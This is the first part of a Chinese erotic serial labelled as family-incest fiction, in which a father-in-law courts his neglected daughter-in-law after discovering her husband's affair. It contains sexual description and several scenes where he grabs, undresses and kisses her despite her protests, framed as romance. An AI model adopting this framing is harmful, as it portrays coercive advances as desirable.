【公公再爱我一次】(上)【作者:野树】[家庭乱伦]

 
  作者:野树
字数:30099
(一)错位柔情
冯念真意识到许振扬在外边有情况,是在一个寻常得不能再寻常的晚上。
晚饭前,许振扬来了电话,工作应酬推不掉,让她别等。冯念真对此早已习
以为常,公公也出差不在家,她独自坐在空荡荡的餐厅里面对一桌子饭菜扒了两
口饭,便早早洗漱躺下。
半夜听到房间里窸窸窣窣的动静,冯念真迷糊着眼打开灯,许振扬背对着她
脱外套的身影顿住,旋即走过来将她圈住,爱怜地在头发上吻了吻,「吵醒你啦?」
他衬衫的扣子解了两颗,露出精壮的胸膛,还是她爱的那个样子。冯念真顺
势依偎过去,脑袋在他怀里蹭了蹭,深深嗅着丈夫身上的味道。很好,没有香水
味,也没有女人的口红印,他身上干干净净。
可是,这份干净,太过刻意。
一个刚刚应酬结束的男人,身上没有沾染半点难闻的烟酒味,这说得过去么?
冯念真恨自己此刻还能保持这样的清醒。
嫁给他,已是第二年。
大学时期,两人便是校园里人人称羡的情侣。她是走到哪都能让周围男生一
阵骚动的外语系系花,他是丰神俊朗的国商才子。在最好的年纪,又有张扬的资
本,两人的跨系之恋谈得轰轰烈烈,令一众追求者眼红唏嘘。
从校园走到社会,一直没出过什么岔子。工作都稳定下来,他便向她求了婚。
她家在遥远的西南,家里都反对她嫁这么远,偏偏她义无反顾,不惜与家人闹翻
也要做他的新娘。
今年年初,许振扬开始自己创业,经常忙到三更半夜才回家。冯念真为了更
好地照顾丈夫和公公,便辞了职在家做全职太太,为了丈夫,为了这个家,她的
才华和本事,她都放弃了。好在事务所的情况开始好转,她的牺牲也算没有白费。
可没想到,人心可以变得这么快。
过去一个月,许明怀带着徒弟在南半球参加高尔夫澳巡赛。年仅五十岁的他,
作为高尔夫球场上曾经的传奇,是唯一拥有着四大满贯的辉煌成就的亚洲人,就
连退役后做教练的神勇也丝毫不减当年,带过的高徒遍布世界各地,早已是业界
人人哄抢的金牌教练。
到家的时候外面下了点小雨,许明怀不甚在意地掸了掸肩上的雨水,嘴里叼
着根半明不灭的香烟,眯着眼把钥匙对准孔眼,一扭,门开了。
这么晚了,餐厅怎么还亮着灯?
他绕过玄关,入眼就是这样的画面:满桌子的冷菜,桌上立着四五个不知空
满的啤酒瓶。年轻的儿媳半趴在桌上,眼睛无力地扒开一条缝,眯着自己嘤嘤出
声,身上是条杏色真丝吊带睡裙,一边溜下肩膀,露出霜白的一片肌肤,娇乳美
好的弧度若隐若现……
许明怀不着痕迹地别开视线,抿紧了嘴角,神色看着晦暗不明,背着手走近,
压低声斥道:「穿成这样坐在这里像什么话?」
一阵浓烈的酒气扑鼻而来,他浓眉又是一蹙,「你喝了多少?」
「爸爸……」
许明怀没听清她说什么,便俯身凑近,这才看到她难过地咬着下唇,脸色不
正常地发红,「好痛……」
「痛在哪里?」
许明怀视线下移,落在她紧紧捂着小腹右下方的手上,一顿,紧接着碰了碰
桌上的酒瓶子,面色阴沉地碾灭了烟。
一下子喝了这么多冰啤酒,怕是阑尾炎发作了。
当机立断,许明怀脱下外套将女人罩住,一手搂住她的腰,一手穿过腿弯将
她拦腰抱起,大步向外走。
几乎是一路小跑到了车库,好在他经常健身,这点运动量还算可以承受。他
把冯念真安置在副驾驶座,还不忘将椅背后调,令她躺得更舒服些,但还是阻止
不了虚弱的呻吟从她口中传出。
许明怀车开得又稳又快,仍旧避免不了遇上红灯的阻挠。
「好痛……我是不是要死了?」
男人侧身查看她的情况,用手拨开她耳边的长发,露出一张煞白的脸,拧紧
的五官,看样子是真痛惨了。
许明怀不禁抚了抚她额头,轻声道:「再忍一忍,马上到医院了,乖一点。」
做多了严酷冷面教练,他什么时候这样耐着性子哄过人?
下一秒红灯亮起,油门轻轻一踩,车子再次飞驰起来。
冯念真醒来时,发现自己躺在医院的病床上,手背上插着针,下半身失去了
知觉。借着窗外的月色,依稀看见旁边还有两张病床,都睡了人。再转眼,瞧见
靠着自己的这边墙壁上,许明怀抱着双臂坐着睡着了。
男人在年纪这件事上,还真是吃香。因为爷爷是中英混血,公公天生的高鼻
梁、深眼窝,又因为做教练经常运动的缘故,身材丝毫没有走样,除了眼角偶有
细纹之外,五十岁的人看着和三十来岁差不多,年轻的时候,大概更是英俊非凡。
说来也怪,公公年过半百竟然从未结过婚,真真对此也是诧异不已,听许振
扬说,他从小就没见过自己的生母,据说一生下他就跑了,公公从那时候开始就
一直单身到现在。
不过她更好奇的是,公公有生理需求的时候是怎么解决的?去外面找小姐吗?
出神之际,男人不知怎么就醒了,俯身过来摸摸她额头,烧已经退了。
「爸爸……」她想说点什么,甫一张嘴才知道自己嗓子哑得厉害。
许明怀看了看手机,「振扬还在来的路上,马上就到了。」
不出意料,她的眼神落寞了下去。
「你是急性阑尾炎,刚做完手术,还不能吃东西。这几天会很难熬,先忍一
忍。」
冯念真闭了闭眼睛,鼻子有点酸,小声回说:「对不起,是我不懂事,给您
添麻烦了。」
过了片刻,她又说:「我在家里喝酒的事,不要告诉振扬。」
许明怀看了她一会,点点头说:「你接着睡,我出去抽根烟。」
说完,男人带上门出去了。
许明怀一出门就碰上匆匆赶来的许振扬,视线触及他脖子便变了脸色,「去
厕所照照镜子,看看你的混账样子!」
许振扬心虚地摸了摸脖子,大概也知道是什么情况。
许明怀和这个儿子从小到大都不怎么亲近,更多的时间把他丢给他的爷爷奶
奶抚养,很少亲自过问管教,因此两人关系一直不尴不尬。
许振扬在洗手间里擦掉了脖子上的唇印,才推开了病房的门。
冯念真闻声睁开了眼睛,瞧见是他,嘴里的苦涩又蔓延开来,百般不是滋味。
「真真,睡着了?」
许振扬坐在床边,撩开她半边头发,「伤口麻药过了没有?痛不痛?」
「我没事了,」冯念真将头转到另一边去,背对他,「你又忙到这么晚,从
所里过来的?」
许振扬又追过去亲了亲她的脸,「嗯,事情太多了。等忙过了这阵,就带你
出去玩,你不是一直想去冰岛吗?我们马上要赚大钱了。」
「再说吧。你别在这陪我了,回去睡吧,明天还工作呢。」冯念真憋着气不
去闻他身上那股恶心的香味,抹了把脸,忍着哭腔说。
许振扬哪里听得出来,以为老婆真心体贴自己,一时间又感动又愧疚,握住
她的手亲了好几口,「我在这里陪你,你安心睡,天亮了我去请阿姨来照顾你,
明天下班我再来。」
冯念真不再说话,轻轻阖上眼皮。
迷迷糊糊之中,有人用温热的毛巾擦拭着她的手心、脖子和脸颊,力道手法
都刚刚好,冯念真多眯了一会,再次睁眼天已大亮,一个上了年纪的老妇人在床
头忙忙碌碌。
「冯小姐,你醒了,许先生一大早就来了,这会去倒水了。」
冯念真心中又有些死灰复燃,振扬的心,难道还在她这么?
然而下一秒,现实又将她一巴掌打醒。
许明怀端着脸盆开门进来,默默放到床底下,状似不经意问道:「肚子饿不
饿?我问过医生,排气后可以吃流食,一会让张阿姨跟我回家炖点鸡汤。」
冯念真黯然点了点头,「麻烦了。」
「不麻烦不麻烦,许小姐,你公公对你真好!刚才我给你擦手,他一个大老
爷们还嫌我老妈子没轻没重,自己接过去了……」
「咳。」男人有些尴尬地咳了声,老妇人大概也意识到自己的多话,噤了声。
冯念真有些惊讶地望向公公,却见他脸转了过去,对着张阿姨叮嘱一些零碎
的术后注意事项。
她一颗心顿时有些涨涨的。
往后的许多天里,许振扬依旧忙碌难见踪影,只在几天傍晚姗姗来迟,有时
提一篮水果,有时提几笼子油腻的外卖,当真是将她当作病人来探望。
许明怀偶尔也会来,通常只是坐坐就走,询问阿姨一些她的恢复情况,更多
时间里两人都说不上几句话,到了时间他便也上班去了。
公公走后,冯念真习惯性地对着窗外发呆。她感到寂寞惆怅,看着大家忙忙
碌碌,仿佛天地间只有自己是多余的。
她有多久没有好好爱过自己,以至于感到仿佛被全世界抛弃了?
(二)听者有心
一个星期以后,冯念真被批准出院。
许振扬大多时间不在家,许明怀虽说是她的公公,但毕竟是个男人,自然也
不方便照顾她,于是上回在医院的护工又被请到她家做保姆。
冯念真在这边朋友不多,还好有个大学室友留在A市发展,趁她养病期间,
还能经常来往替她解解闷。
彭悦前几回来,许明怀都不在,这还是她第一次见到好友这位传说中的公公。
许明怀跟客人打过招呼便回了自己房间,把空间腾给这对小姐妹。
彭悦待他消失后,难掩激动地握着冯念真的手,压抑着大嗓门:「真真,你
公公长得有点像外国人诶!好年轻好帅啊!」
「嗯,他是有几分英国血统。」冯念真早已淡定,反正已经不是第一次有人
见到她公公反应这么大了。
不过这姐们倒是比谁都更敢说:「诶,你介不介意我当你的后婆婆啊?」
冯念真喝着红茶差点噎住,不轻不重地打了她一下,心虚地朝许明怀房间望
了望,不要被他听到这种大逆不道的话才好。
「好了别闹了,我有正事要跟你说。」
见她变了脸色,彭悦也坐正严肃起来,只见她嘴唇碰了碰,半晌才慢慢吞吞
吐出一句:「姓许的,被我发现在外面偷吃。」
彭悦震惊地张圆了嘴,「你弄清楚了?确定没有搞错?」
「不会错的,」冯念真说着眼眶就红了,「这半年来,他经常三更半夜才回
来,有时候干脆彻夜不归。一开始,我以为他真的是工作太忙,但他的变化让我
不得不去想这种可能,你不知道,他在家里连洗澡都带着手机……」
她抹了抹眼睛,整个人气得发抖,已经濒临崩溃,却还是坚持说下去:「前
不久,我在他手机里看见短信,那女的都叫他『老公』了……」
彭悦心疼地抱住扑在她怀里痛哭流涕的好友,愤恨难平:「我操,男人都他
妈不是好东西!」
「那你要怎么办?跟他离婚么?」
冯念真哭了一会,已经缓转过来,看着情绪十分低落,恹恹摇头,「不知道,
走一步算一步吧。」
彭悦握住她的肩膀,眼珠子转了转:「这幢别墅倒是不错,这些家具看着也
不斐,真真,该拿的东西一样也不能少,可不能就这么便宜了他!」
冯念真嗤笑一声,「就这房子还是我公公的呢,他那么点钱全拿去创业了,
能有什么留给我?」
提及许明怀,彭悦眼睛又是一亮,「不如,你勾搭勾搭你公公,给许振扬做
后妈,顺便再给他生个弟弟争家产,把他气个半死,连后半生也有着落了……」
好巧不巧,这时,冯念真瞥见许明怀端着茶壶出来,心里咯噔一下,赶忙瞪
了眼好友,示意她闭上嘴。
然而彭悦只当她在害羞,继续口无遮拦:「怕什么,你这么年轻又漂亮的,
你公公哪里抵挡得住,还不是稍一撩拨就上钩了?」
完蛋了……
冯念真绝望地闭上了眼睛,想死的心都有了。
送走彭悦,保姆也准时上门来做饭了。
冯念真从橱柜里找碗筷,正碰上许明怀来盛饭。从刚才开始她就尴尬得不敢
跟他说话,甚至都不敢多看他一眼,此刻两人挤在小小的厨房一角,仿佛空气都
不够了。
虽然公公表面上没什么,但她知道他一定都听到了。念真把心一横,还是决
定说点什么挽救一下,「那个,小悦平时就老是满嘴跑火车,刚才是在开玩笑的,
爸你不要介意。」
许明怀闻声转头淡淡看了她一眼,目光在她脸上停留了几秒,才说:「有些
话说出来,不是一句开玩笑就能算了的。」
冯念真僵硬的笑容凝滞在脸上,好半晌都不知所措。
男人最终放过她,从她身边擦肩走过,同时,扔下了一颗炸弹:「算了,她
也没说错什么。」
不过,这个小小的插曲很快就被她抛到脑后。她想,自己应该重新掌握人生
的主动权,而不是坐以待毙,更不是什么靠男。她决定开始找工作。
这天是拆线的日子,和医生约在了早上,所以念真起得很早,但显然,有人
起得比她更早。
厨房里,已经有了烟火的气息。
许明怀端出一屉包子,不声不响地瞥了她一眼。
念真这才想起自己的大意,以为公公会像往常一样九点多才出门,便犯了个
懒没有换衣服,套了件宽宽的T恤就出来了,下面仅一条三角裤,是她最爱的白
色蕾丝。
不过等坐进椅子里应该就没什么关系了,桌子遮住了,应该就看不见了。
两人面对面坐着,相安无事地用完了早餐。
只不过最后时刻,许明怀率先吃完,收拾着自己的那份碗筷经过她身边时,
又不冷不淡地看了她一眼,「衣服多穿点,乳头都印出来了。」
冯念真一下憋红了脸,「我……我以为爸爸还没起来……」
男人没再多说,矮身进了厨房。
她便噌一下站起来,逃也似地躲回了房间。
出门的时间到了,念真再三地检查了自己的着装,确认没问题后才小心翼翼
地打开房门,却见许明怀已经一身整齐立在门后头,像是等了很久的样子。
「爸爸不去上班么?」
「今天不是该去拆线了?」
念真还想推辞,「不用了,我自己去就可以的。」
看见许明怀浓黑的两道眉皱起来,她的声音也弱了下去:「那麻烦爸爸了
……」
手术伤口愈合得还不错,为她服务的女医生也没有叫许明怀避嫌,就在他眼
皮子底下替她拆了线。念真没那个勇气叫他出去,索性就算了,等一拆好,就放
下了衣服,把那条蜈蚣似的疤痕遮得严严实实。
「拆完线,饮食还是要注意,少吃刺激性食物,」医生转头对着许明怀叮嘱,
「之后可以慢慢增加运动,也可以同房了。」
念真尴尬不已,怕她再多说下去,只得小声解释:「医生,这位是我的公公
……」
「哦哦……这么年轻啊,我还以为是你老公。行了行了,你们可以走了。」
对方也闹了个大红脸。
出了医院,已是正午,两人就近找了家餐馆解决午餐。这还是冯念真第一次
和公公单独在外面吃饭,她有些不太习惯,总觉得哪里怪怪的。
「下午有什么打算?」对面的许明怀问。
念真随口回道:「没什么事,回去睡一觉吧。」又转念一想,「爸爸下午是
不是要去球场?」
「嗯,想去?」男人撩起眼皮看她。
她点点头,夹到耳后的发丝散落下来,落在脸颊边,更添几分温婉柔弱,
「我只在电视里看过打高尔夫球,大多都是男的在打,很难么?」
「不好说,看你资质。」
「还有爸爸教不会的选手吗?」她不自觉在讨好他。
许明怀笑笑,说:「我教你可以,不过提前说好,我很凶的,你要是太笨,
会被骂得很惨。」
冯念真半信半疑,萌生了一些退意。他看起来像是在开玩笑,可她想到以往
他说话的口吻,又怕他真的会不顾情面。
「走吧。」
许明怀没有给她退路。
到了球场,已经有很多学员在练习挥杆,许明怀四处走了一圈指点了几个学
员,便挑了一根球杆带她来到一处矮坡上。
「像我一下,姿势摆好。」许明怀亲自给她做着示范。
冯念真一板一眼照做不误,倒是学得有模有样。
「身体放松一点,手臂自然下垂,」男人绕着她走了一圈,视线一直停留在
她身上,「屁股不用翘太高。」
她脸色微郝,即使浑身上下都觉得不自在,也想着被他教训的后果,一声不
吭照着他的话乖乖练习。
「挥杆的动作多练几遍,一会再教你击球。」许明怀走动到边上,去查看其
他学员的进度,过了一会又折回,放了一颗球在她的左脚前方。
「等一下会有一个重心的转移,依靠腰腹力量带动挥臂……」
说话间,男人不知什么时候站到了她的身后,念真只觉得他的话语变得模糊
听不进去,全身的注意力都集中在他握住自己的两只手上,背后是他温热的胸膛
围困自己,右侧脸颊上有他伴随着话语的吐息喷洒……
被强烈的雄性气息包围着,冯念真觉得自己开始变得呼吸困难,脑袋也晕乎
乎的,然后,猝不及防就被凶了,「和你说话,你在想什么?」
「我……我有点紧张。」
「紧张什么?」
「如果球没进,怕你会骂我。」
许明怀低头看着怀里的儿媳,光洁的额头上散落几根细碎的头发,白皙的脸
蛋上有疑似红晕的痕迹,鼻子嘴巴都生得小巧,皮肤是真的好,几乎看不见毛孔。
他收紧她的手,两人身体无法避免地贴得更近,紧接着他的手带着她挥臂击出,
球滚了出去,一杆进洞。
一套完整的动作结束,他也适时放开了她。
冯念真方才一直僵着脖子不敢动,怕动一下就会和他有什么多余的碰触,这
才转过头怯怯地看他,「爸爸,我想自己试试。」
许明怀点点头,应允了。
她便大着胆子,照他教她的样子,轻轻将球挥了出去,很遗憾,偏移了一点
点,球从洞边划拉而过。
冯念真一下泄了气。
「没有人能一步登天,很多人学了几个月连球都找不准,你已经很不错了。」
许明怀递过来一瓶矿泉水。
冯念真接过去喝了几大口,嘴唇上亮闪闪的。
许明怀看了两秒,又说:「那边还有咖啡吧、健身房,不想打球的话就过去
休息一下,我去看看其他人。」
她点点头,目送他离开。见他一过去,好些女学员都纷纷围了上来。
冯念真觉得,这里就是他的天下。球场上的许明怀,的确更有魅力,在这里,
他和这些年轻的学员没什么不同,甚至比他们更加充满活力而神采奕奕。
(三)夕阳不黄昏
冯念真独自闲逛了一会,养出了一些困意。便打算去找许明怀,问他什么时
候能下班回去。
然而她走错了出口,不知不觉绕到了场馆的背面,一下就被这里的迷人风景
吸引了。
体育馆面山而建,后面是成片的草地,草地尽头便是条河,河边种着高耸入
云的杉树,水面上浮着几只蓝绿色的水鸭。
她又向前走了一段便过不去了,大概是出于安全考虑,叫人用木桩子围了起
来。
一个高大的人影朝着这边靠近,是许明怀。
「爬上来,我扶你。」许明怀朝她伸手。
冯念真使出了吃奶的劲爬到桩子上,刚要搀他的手往下跳,却被他环住双腿,
直直扛了下来放到地上。
「谢谢爸。」她有些无所适从地拉了拉衣服。
两人一前一后地往前走,壮丽的晚霞在眼前铺开,天边似打翻了染缸,火红
和橙黄交相辉映,近处的草地和树丛都仿佛镀了层金,晚风徐徐拂过,撩起了几
缕女人的秀发。
冯念真简直要醉倒在这方天地里,发自内心感叹道:「好美啊……」
「夕阳无限好,只是近黄昏。」男人成熟低沉的嗓音把凄凉的诗句念的韵味
十足,声音停了,那份哀愁还在空中如丝飘扬。
她的目光不禁流连在他被夕阳余晖照亮的侧脸,突然有点理解他此刻突如其
来的落寞。
两人又驻足观望了一会,开始往回走。
许明怀轻轻松松翻过围栏,回头看着冯念真略显狼狈地爬上来,还是像刚才
一样把她抱了下来。
只不过这回,他没有立即退开,还顺手将她凌乱的发丝理到耳后,「车子下
午送去保养了,我们坐地铁回去。」
「嗯。」念真低着头,还在他的包围圈里,不敢动作,只觉得被他碰过的耳
朵隐隐在发烫。
正值下班高峰,地铁上挤满了人,冷气也开得很足。
许明怀拉住一只扶手,回头寻找冯念真的身影。
「过来,不要站在出风口下面。」
冯念真只得硬着头皮挪动脚步,来到公公身边。
许明怀低头看了她一会,忽然捏住她放在斜跨包上的一只手,「冷不冷?」
「不冷的。」
念真心里忌惮,欲不经意撤开,却被他捉住放在手心握了住。
车上人太多,她无论如何也不好强行挣开,只好自我安慰,公媳之间握个手
应该不要紧的。
冯念真偷偷用余光去看他,发现他目视前方,神色如常,于是心中腹诽,真
是不知道这人怎么做到这么自然而然……
地铁飞驰了一站,有人下去又有人上来,还是一样拥挤。
许明怀还在垂首注视着冯念真,忽听有人叫他的名字,抬头一看,原来是球
场的工作人员,面上和缓地点点头,底下却不动声色地松开了手。刚才念真在球
场和那人打过照面,他是知道她身份的。
「许教练,许教练的儿媳妇,又见面了。」
冯念真不免有些感激这人,得亏了他自己才得以解救,于是笑容也更加热情:
「你好。」
她私下里握了握自己的左手,都有些麻了……
他们回来得晚,保姆已经来了,由于没钥匙,只得等在门口,冯念真见了连
连道歉,赶忙开了门请她进去。
保姆一进门就进了厨房忙活起来,另外两人便也各忙各的,一时之间,房子
里只有菜刀剁在砧板上飞快而有节奏的声音。
「许先生,厨房里的水龙头好像坏了,关不上了!」
许明怀听见动静从房间钻出来,过去查看情况,正在房间卸妆的冯念真也闻
声赶到。
「我看看怎么回事,张阿姨,您到餐桌上去切菜吧。」
「诶。」保姆搬着砧板去了外面。
冯念真留着没走,想看他怎么修好水龙头,等下次什么时候再坏了家里又没
个男人的时候,不至于手忙脚乱。
显然,光这么看着一点用都没有,直到许明怀修好水龙头彻底不再出水,她
也没研究个所以然来。
厨房闷热,就这么一会,男人额头就蓄满了汗珠,顺着面部硬朗利落的线条
滴到了水池里。
冯念真见他专心地搓出泡沫洗手腾不开,没多想,便抽了两张纸替他擦了。
只是没想到他会突然转过头来,茶色的眸子淡漠地注视着自己,寂静无声,
又深不可测。
一秒,两秒,许明怀攥住儿媳替自己擦汗的手,望着她低垂的眉眼,慢慢拨
开她耳边的长发,露出她姣好的一张脸。她微一躲闪,面上很快绯红一片。
他感觉到自己的心跳动得很厉害,他知道自己想要更多,不仅是看着她,看
她漂亮的脸蛋怎样由白晰变绯红,看她的下唇怎样被咬得饱满充血,他想要更多,
于是他也照做了。
许明怀湿漉漉的手搂住了她不堪一握的腰肢,提了一提,贴得更近,几乎全
身上下都贴合了,可她却开始挣扎起来,双臂软绵绵抵着他胸膛,徒劳地唤着他:
「爸爸……」
冯念真躲闪着他炙热的目光,觉得他的怀抱快要烧起来似的,他的气息灼人,
越逼越近,烫得自己浑身血液也在沸腾,有什么东西在身体里横冲直撞。
许明怀紧紧盯着儿媳一张娇怯的脸,下一秒欲吻上去,却被哐当一声巨响硬
生生阻断,沉着脸望去,原来是保姆在门口打翻了砧板。
保姆张阿姨大气都不敢出一口,僵直地立着,手掌不断搓着围裙,浑身上下
透露着窘迫。
许明怀最终犹豫地松开了冯念真的腰,后者一经解除禁锢,风一样躲回了房
间。
第二天早上,许振扬去上班后,冯念真也醒了,但碍于忌惮与许明怀的单独
相处,便想等保姆上门做饭再出去,哪知等到了正午也没等来保姆,便再也忍不
住走出了房门。
餐桌上不似往常摆满丰盛可口的菜肴,取而代之的是两份打包好的外卖。
她的公公坐在桌边,一脸淡定地看着她,拆开了餐具。
「张阿姨怎么不来做饭?」
许明怀没看她,自顾自吃着外卖,道:「你都已经痊愈,就不必要再请保姆,
家里多一个外人,总是碍事。」
碍事?碍的哪门子事?他可真够云淡风轻的。
「再说,我还是更习惯吃你做的。」
「可是,我准备开始上班了,也许以后来不及做饭。」
许明怀抬头看她,「那就到你公司附近,一起吃。」
冯念真愣在了原地,哑口无言。(四)败露
冯念真决定不再装傻下去,她要会一会那个将许振扬迷得神魂颠倒的小妖精。
许振扬平时接触最多的不是公司职员就是客户,她决定先从公司职员排查起。
她特地挑在许振扬外出办事的时候来的,可是,公司的女职员她一眼望去都
眼花缭乱,更别说还能瞧出哪个与自己老公关系不同寻常了。冯念真觉得再待下
去自己疑心病都要犯了,巡视了一圈便提起包打算打道回府。
这时,原本不起眼的角落忽传出动静。
「你是猪吗?叫你做张报表都能把数字搞错?真不知道公司招你这种人进来
干嘛!是不是以为自己长得年轻漂亮就不用干活了?」女人的声音越扬越高,引
来了不少观望。
冯念真微微侧身,只见一个女人斜倚着办公桌,低头摆弄着丹蔻,脸上画着
夸张的浓妆,却仍旧难掩眼角的细纹。她的对面,女孩被骂得涨红了脸,低着头
连连哈腰道歉。
这个女人冯念真也听说过,叫朱乔,是个小有资质的前辈,但公司上下对她
张扬跋扈的行事作风颇有微辞,大概有什么不得了的靠山,竟能稳坐HR总监的
位置到现在。
前台小高小心翼翼地端了杯咖啡到老板娘面前,朱乔瞥了眼,低头还在摆弄
双手,凉凉扯开嗓子:「小高啊,公司雇你是为公司效力,别的什么乱七八糟的
人你管个屁呀,给我做好自己的事。」
冯念真脸上挂不住,心中燃起怒火。她很少会干涉丈夫公司的事务,但今天
也有些忍不住了。
女孩被女人一手挥退,沮丧地低着头,心不在焉地,直直撞到冯念真身上,
手里一捧A4纸散落一地。
「对不起对不起!」女孩边道歉,边手忙脚乱地蹲下收拾。
冯念真也弯下腰替她一一捡起来,一时有些同情她,这副慌里慌张的样子,
倒是和初入职场的自己很像。
两人直起身,小姑娘这才敢看她一眼,弯唇笑笑:「谢谢,你是来面试的吗?」
见边上的咖啡没动过的样子,又问:「是不是不爱喝咖啡?我去给你泡杯茶吧?」
「不用麻烦,你叫什么名字?看着年纪很小,还没毕业吧?」
女孩又羞涩地笑了笑,「是啊,刚来不久,还在实习期,哦,叫我小裴就可
以了。」
冯念真也回以微笑,「没事,去忙吧。」
她大概不知道自己老板娘的身份,以为只是个普通的求职人员,却还能做到
如此和善有礼,实属难得,冯念真对她很满意。
女孩走后,眼前的视野复原,她的视线,就这么冷不丁与朱乔对上。
那目光辽远,显得有些意味深长,她红唇微翘,嘴角似乎还嵌着一丝讥笑。
冯念真直觉这女人有问题,在她转过身的背影上,画了个大大的问号。
冯念真没再停留,动身离开,打算隔三差五再来。刚走出大厦,便看到前方
不远处,丈夫高大英俊的身影立在那,望着街边奶茶店的方向,不知在看什么。
她还没想好来公司突击检查的说辞,一时犹豫要不要叫他,就见奶茶店里跑
出来一个小姑娘,一路小跑到他面前,一把挽上了他的胳膊肘。
居然是她……
冯念真只觉得一股热血直往头上冲,身体又似掉进了寒冬腊月,脑袋一阵阵
晕眩。
小裴插上吸管自己吸了一口,又讨好地递到许振扬面前,对方顺势覆上她的
手,看着她的眼睛,含住那染着她口红印的吸管。
两人携手过来,冯念真迅速往柱子后一闪身,那二人就这么从她身旁走了过
去。
大雨在傍晚时分如同与天气预报约定的那样倾盆泼下。
冯念真浑浑噩噩走在凄风苦雨之中,又冷又饿,天暗得像要塌下来,仿佛全
世界只剩下了自己一个人。
天旋地转,她觉得自己身体腾空了起来,是不是上天也觉得她可怜,于心不
忍,决定要带她走了?
冯念真在雨幕中睁开了眼,对上一双灰茶色的深沉眼眸,彼时她正落在许明
怀的怀中。
「为什么……」她吃力地睁大眼睛望着男人,喃喃自语。
为什么,总是要他看到她狼狈不堪的样子?为什么,总是在她最脆弱无助的
时候神祇一样出现?
冯念真被许明怀抱进车后座,落在他膝头,透视的裙摆贴着他西裤,一阵冷
一阵热。
他的灰色西装外套也有些被打湿了,倒不要紧,不过几道水痕,被他脱下扔
在边上,宝蓝色的衬衫衬得他迷人的温柔,英俊的面庞散发着年轻的光辉。
他修长的手指从领口一颗颗剥开她衣服的纽扣,大片瓷白的肌肤裸露,她颤
抖地按住他的手,嘶哑的喉咙压出一声抗拒:「爸爸……」
「湿衣服捂着会感冒,听话。」
事情的最后,念真被剥去上衣,光溜溜的身子瑟缩在许明怀宽大的外套里,
无力地靠在他肩头。
许明怀低头,穿过衣襟的缝隙看到她肉粉色的文胸吸裹住两只奶子,套着自
己衣服的样子滑稽又诱人,很是满意。
「真真,记住,永远也别为男人流泪。」许明怀揽住她瘦弱的身躯,吻在她
额头。
「爸爸……是不是……我哪里做得不够……」冯念真以为自己的眼泪早就哭
干了,没想到伤心时刻还是猝不及防挂了下来。
「不是,」他不断吻着她的湿发,「是我没教好儿子,你是我见过最好的女
孩……」好到,他疯狂地想要独占。
她湿答答的头发被他顺到脑后,脸庞挂着不知雨珠子还是泪珠子,有点清丽
出尘的味道,沾水长睫忽闪,让人想吻一吻。
不过,许明怀还是把控住了自己。
车子开进地下车库,他将她从后面打横抱出来。念真一手拢着衣服,一手勾
住公公的脖子,被他一路从车库抱到了大厅。
一步步踩上台阶,许明怀的目光黏在她脸上没有片刻移开,她这时才想起来
害羞,低垂着眼皮,眼珠子都不敢转一下,细声叮嘱他:「看路呀。」
许明怀厚沉的笑声轻轻溢出喉咙,没说什么,把她放在了她的床上。
他又低头看了眼她的样子,真是漂亮得叫人欢喜,克制又克制地捏了捏她的
肩,「洗个澡好好睡一觉,其他不要想太多,天塌下来都有我帮你顶着。」
许明怀直起身,目光又爱怜地在她脸上流连了又流连,终是转身走了出去。
及至门口,忽听身后人苦笑道:「我同振扬离了婚,就不是爸的儿媳了。再
说,振扬总归是你的儿子,哪里又有帮理不帮亲的道理?」
「爸以后,别再说让人误会的话了。」
许明怀不由蹙起眉,转身看向她,对方却已经背过身在换衣服,光溜溜的美
背大片露在外头,奶罩子扯下来扔在脚边,不声不响。
(五)迷情
「去哪?」
「隔壁小区超市,买点菜,爸爸有什么想吃的么?」
冯念真在玄关换好鞋,回头看见公公也走了过来,「我跟你一起去,看看再
说。」
念真只得点头应好。这几天他们一直不冷不淡相处着,她已经尽了最大努力
调整作息避开与他独处的机会,两人目前这种关系,实在不宜过多接触。不过,
超市人来人往,又都是附近的住户,彼此都认个脸熟的,一起去应该也不会怎么
样。
她这么想着,不知不觉被许明怀带往车库,于是不解问:「超市走几步就到,
还是不用开车了吧?」
许明怀淡淡道:「换家超市,远了一点,不过菜更新鲜。」
念真不再说什么,跟着坐了上去。
许明怀带她来的这个超市位于几公里外的百货商场,里面的果蔬虽然精致,
但价格比普通果蔬超市贵了不少,因此也更显冷清,少有人光顾。
来买菜的几乎都是年轻的夫妻,有的还带着小孩来,坐在购物车的篮子里,
看见水箱里活的鱼虾兴奋得哇哇大叫。
冯念真羡慕地看着来往的一对对夫妻抑或是情侣,从前她就很向往能和自己
的丈夫在黄昏时分,一起推着推车,一排排货架望过去,商量着晚上做什么菜。
只不过一来许振扬太过忙碌,二来在买菜这件事上面又总是任凭她做决定,久而
久之,她对与他一起逛超市的这份执着,也就淡了。
「好久没做鱼了,石斑鱼可以吗?」冯念真蹲下身子用网筛捞了条鱼看了看,
边向许明怀征求意见。
「鱼我不爱吃,醉虾会不会做?」
许明怀视线从一旁蹦跳的明虾移到她转过来的脸上,「怎么?」
「没,我知道另一种做虾的法子,更好吃,」她复又转回去,「怎么以前没
听说爸爱吃虾?」
「那是因为你一颗心只在振扬的身上。」男人轻飘飘回。
冯念真站起身,沉默着看了他两秒,咬紧嘴唇不说话。
说来也怪,这父子二人,老的不吃带刺的,小的不吃带壳的,偏生叫她又做
妻子又做儿媳的为难。
捞了两斤虾,许明怀推着推车慢步向前,念真紧随其旁,遇到前面有糕点试
吃,停了下来。
许明怀拿手捻了小小一块,递到女人嘴边,「尝尝?」
她感到有些尴尬,在推销员热切的目光下,还是顺从地小小张开嘴衔住。糕
点美味神奇,入口即化,她不可避免地舔到了男人的手指。
许明怀眼睛眯了起来,里头流露出难以察觉的精光。手指上还残留着一点点
碎屑,他便递到嘴边,也伸舌舔了舔。丝毫不见不雅,反而显得有些俏皮,「好
甜。」
这一幕叫冯念真看见了,自然是悄悄红了耳根子,自己走到一旁去了。
许明怀看着看着便勾起了唇。
推销员私以为是夫妻档打情骂俏,见怪不怪,端着餐盘转向下一位顾客。
男人人高马大,一眼扫过去,见干货区少暂时无人光顾,便叫住了冯念真,
「过来这边看看,买点螺肉回去,煮宵夜也行。」
念真不疑有他,一步步走进了他的陷阱。
「嘴上有蛋糕屑。」
「嗯?」念真从包里掏出小镜子,照了照,「哪儿呢?」
许明怀盯着她眼睛,蓦地低头下去,凑近了亲她,念真猝不及防睁大了眼,
手下意识地放在他胸前,被他反抓住,不敢动弹。好半天两人嘴光这么贴着,没
有多余动作。
他退开一点,吐息仍烫着她的神经,「现在没了。」
她又羞又恼地瞪了他一眼,撒开他的手,快速走开了。许明怀压制着笑意,
